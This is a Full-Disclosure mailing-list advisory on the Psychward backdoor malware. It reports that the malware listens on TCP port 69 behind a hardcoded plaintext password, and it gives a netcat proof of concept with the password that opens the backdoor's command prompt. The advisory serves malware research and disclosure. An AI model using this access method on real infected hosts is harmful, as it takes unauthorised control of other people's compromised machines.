full-disclosure - [FD] Backdoor.Win32.Psychward.03.a / Weak Hardcoded Password

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Message-ID: <CAAHK0WRXYyAMkqFSQpkvFy2QNaSXS1AbkZDh7cZs86wrHDBZBw@mail.gmail.com>
Date: Thu, 14 Apr 2022 21:51:50 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Psychward.03.a / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/d069738f18957117367b8a79195a6a96.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.03.a
Vulnerability: Weak Hardcoded Password
Description:  The malware listens in TCP port 69. The password "tyme" is
weak and stored in plaintext with the executable.
Family: Psychward
Type: PE32
MD5: d069738f18957117367b8a79195a6a96
Vuln ID: MVID-2022-0548
Dropped files: winvxd.exe
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 69
pwd tyme tyme
psychward revised 0.3, awaiting your command

Disclaimer: The information contained within this advisory is supplied
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vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
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handling or the downloading of ANY Malware mentioned on this website or
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